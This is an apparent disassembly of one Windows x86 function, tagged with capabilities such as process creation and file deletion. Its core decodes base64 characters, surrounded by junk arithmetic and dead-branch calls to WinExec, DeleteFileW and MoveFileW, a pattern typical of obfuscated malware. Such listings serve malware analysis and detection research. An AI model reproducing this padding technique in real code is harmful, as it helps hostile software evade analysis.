Function at 0x1000a890
Capabilities:
Connect pipe
Create process on windows
Delete file
Extract resource via kernel32 functions
Get system information on windows
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x34], ecx
movsx eax, byte [ebp + 8]
cmp eax, 0x41
jl 0x1000a8b7
movsx ecx, byte [ebp + 8]
cmp ecx, 0x5a
jg 0x1000a8b7
movsx eax, byte [ebp + 8]
sub eax, 0x41
jmp 0x1000b2ba
movsx edx, byte [ebp + 8]
cmp edx, 0x61
jl 0x1000a8d5
movsx eax, byte [ebp + 8]
cmp eax, 0x7a
jg 0x1000a8d5
movsx eax, byte [ebp + 8]
sub eax, 0x47
jmp 0x1000b2ba
cmp dword [0x1009baf0], 0x36320669
jne 0x1000aa17
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
push 0
push str.eEVZVs5ALV8zQ6PhIV
push 0
call dword [sym.imp.KERNEL32.dll_GetNLSVersionEx]
push 0
push str.1mONm3GOt18fNwQTZiVN8xRW5R3f
call dword [sym.imp.KERNEL32.dll_RegisterApplicationRestart]
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThreadpool]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0
call dword [sym.imp.KERNEL32.dll_DebugSetProcessKillOnExit]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
push 0
call dword [sym.imp.KERNEL32.dll_LocalLock]
push 0
call dword [sym.imp.KERNEL32.dll_SetDynamicTimeZoneInformation]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push 0
push 0
push str.pkiyD56U3112tG8eCFHli7
call dword [sym.imp.KERNEL32.dll_ResolveLocaleName]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0
push str.fHu4Wc42R5aa8JrIcrz6z8q3
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TrySubmitThreadpoolCallback]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
push 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
movsx ecx, byte [ebp + 8]
cmp ecx, 0x30
jl 0x1000aa35
movsx edx, byte [ebp + 8]
cmp edx, 0x39
jg 0x1000aa35
movsx eax, byte [ebp + 8]
add eax, 4
jmp 0x1000b2ba
movsx eax, byte [ebp + 8]
cmp eax, 0x2b
jne 0x1000aa45
mov al, 0x3e
jmp 0x1000b2ba
mov dword [ebp - 4], 0x2577
mov dword [ebp - 8], 0x89c
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0x21bc
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x1c], 0xb0b
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 0x24b5
mov dword [ebp - 8], ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0x25c5
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
add eax, 0x91b
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
add edx, 0x1e39
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 8]
and edx, 0x80000001
jns 0x1000aae8
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x1000aaf7
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
jmp 0x1000aad8
mov ecx, dword [ebp - 0x14]
add ecx, 0xe9c
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
sub edx, 0x31b
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
sub eax, 0x177c
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 0x20c9
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
sub eax, 0xb9c
mov dword [ebp - 8], eax
mov dword [ebp - 0x20], 0
jmp 0x1000ab4c
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 0xf
jge 0x1000ab5d
mov edx, dword [ebp - 4]
add edx, 6
mov dword [ebp - 4], edx
jmp 0x1000ab43
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
add ecx, 0x1c6c
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, 0x2247
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, 0x2462
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x2607
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000abc8
cmp dword [ebp - 0x1c], 0
jle 0x1000abc8
mov edx, dword [ebp - 0x1c]
sub edx, 0x21fe
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
add ecx, 0xc03
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
add eax, 0xbc1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x108b
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
sub eax, 0x81e
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x80000001
jns 0x1000ac45
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x1000ac54
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
jmp 0x1000ac35
mov ecx, dword [ebp - 4]
sub ecx, 0x23f3
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0xc5d
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x1470
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x24], 0
jmp 0x1000ac9c
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x1b
jge 0x1000acad
mov ecx, dword [ebp - 8]
sub ecx, 5
mov dword [ebp - 8], ecx
jmp 0x1000ac93
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
sub edx, 0x330
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x1c]
and eax, 0x80000001
jns 0x1000ace3
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x1000acf9
cmp dword [ebp - 0x1c], 0
jle 0x1000acf9
mov ecx, dword [ebp - 0x1c]
add ecx, 0x16a3
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
add ecx, 0x22cc
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 4]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x11fe
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
add edx, 0x1088
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x14]
add edx, 0xccc
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
add eax, 0x1e74
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x807
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x24c3
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x2225
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x1c0b
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x20d4
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 0x14d1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x1a9f
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0x25ac
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x14]
add eax, 0x2284
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x4ab
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
sub edx, 0x879
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add eax, 0xd9e
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
sub edx, 0x123
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
sub eax, 0x7cb
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x1e85
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x18]
add edx, 0x1a9e
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x18]
sub eax, 0x1e80
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 4]
sub ecx, 0xff7
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x1d18
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0xfb0
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x236
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], 0
jmp 0x1000af2d
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], 0x61
jge 0x1000af3e
mov edx, dword [ebp - 0x1c]
add edx, 2
mov dword [ebp - 0x1c], edx
jmp 0x1000af24
mov eax, dword [ebp - 4]
add eax, 0xc55
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x1c]
and edx, 0x80000001
jns 0x1000af62
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x1000af71
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
jmp 0x1000af52
mov ecx, dword [ebp - 4]
sub ecx, 0x141f
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x2159
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
add edx, 0x1fe4
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
add ecx, 0x2689
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, 0x7dc
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0x1f0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000b008
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
jmp 0x1000afee
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 4]
add edx, 0xaab
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0xa62
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
add edx, 0xeef
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x1c4e
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x1ee9
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
sub eax, 0x25d3
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0x2367
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, 0xf22
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 0x1ec6
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
add edx, 0x1855
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0x1eb1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x26f5
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x2c], 0
jmp 0x1000b12f
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x54
jge 0x1000b140
mov ecx, dword [ebp - 0x1c]
add ecx, 7
mov dword [ebp - 0x1c], ecx
jmp 0x1000b126
mov edx, dword [ebp - 8]
add edx, dword [ebp - 8]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x419
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x207
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x1446
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x30], 0
jmp 0x1000b191
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], 0x4a
jge 0x1000b1a2
mov eax, dword [ebp - 0x14]
sub eax, 6
mov dword [ebp - 0x14], eax
jmp 0x1000b188
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000b1da
mov edx, dword [ebp - 8]
add edx, 0x1c6e
mov dword [ebp - 8], edx
jmp 0x1000b1e5
mov eax, dword [ebp - 8]
sub eax, 0x1c6e
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000b211
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x1000b1f7
mov eax, dword [ebp - 4]
add eax, 0xf7b
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
and ecx, 0x80000001
jns 0x1000b22c
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x1000b23b
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
jmp 0x1000b21c
mov eax, dword [ebp - 8]
add eax, 0x2452
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0x7a3
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
sub edx, 0x26e
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add eax, 0x23d0
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x14]
sub edx, 0x1a55
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
and eax, 0x80000001
jns 0x1000b28d
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x1000b29f
mov ecx, dword [ebp - 0x14]
add ecx, 0x1bd1
mov dword [ebp - 0x14], ecx
jmp 0x1000b2ab
mov edx, dword [ebp - 0x14]
sub edx, 0x1bd1
mov dword [ebp - 0x14], edx
movsx eax, byte [ebp + 8]
cmp eax, 0x2f
jne 0x1000b2b8
mov al, 0x3f
jmp 0x1000b2ba
xor al, al
mov esp, ebp
pop ebp
ret 4